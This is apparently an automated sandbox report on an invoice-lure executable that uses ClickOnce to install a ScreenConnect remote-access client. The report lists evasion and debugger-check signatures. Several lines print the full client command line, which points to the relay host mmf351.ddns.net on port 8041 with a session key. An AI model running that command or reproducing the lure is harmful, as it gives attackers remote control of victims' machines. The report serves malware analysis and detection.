Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B4A4B FindFirstFileExA, 0_2_009B4A4B
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: svchost.exe, 00000004.00000002.3766714883.0000027452C2B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: dfsvc.exe, 00000002.00000002.4003675157.0000023CE612B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWZN
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE618E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3767119759.0000027458257000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: ScreenConnect.ClientService.exe, 00000008.00000002.2442152731.00000000012D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllkh
Source: dfsvc.exe, 00000002.00000002.3989443598.0000023CCBFF0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_009B191F
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_009B1000
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B3677 mov eax, dword ptr fs:[00000030h] 0_2_009B3677
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B6893 GetProcessHeap, 0_2_009B6893
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process token adjusted: Debug Jump to behavior
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_009B1493
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_009B191F
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B4573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_009B4573
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1AAC SetUnhandledExceptionFilter, 0_2_009B1AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: ScreenConnect.ClientService.dll.2.dr, ClientService.cs Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.2.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n5rwkl9c.2ma\oapvkwjd.wrw\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n5rwkl9c.2ma\oapvkwjd.wrw\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n5rwkl9c.2ma\oapvkwjd.wrw\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=b044e727-8609-4a6c-b885-92d6249fd38a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1" Jump to behavior
Source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1BD4 cpuid 0_2_009B1BD4
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsBackstageShell.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsFileManager.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsClient.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsFileManager.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation Jump to behavior
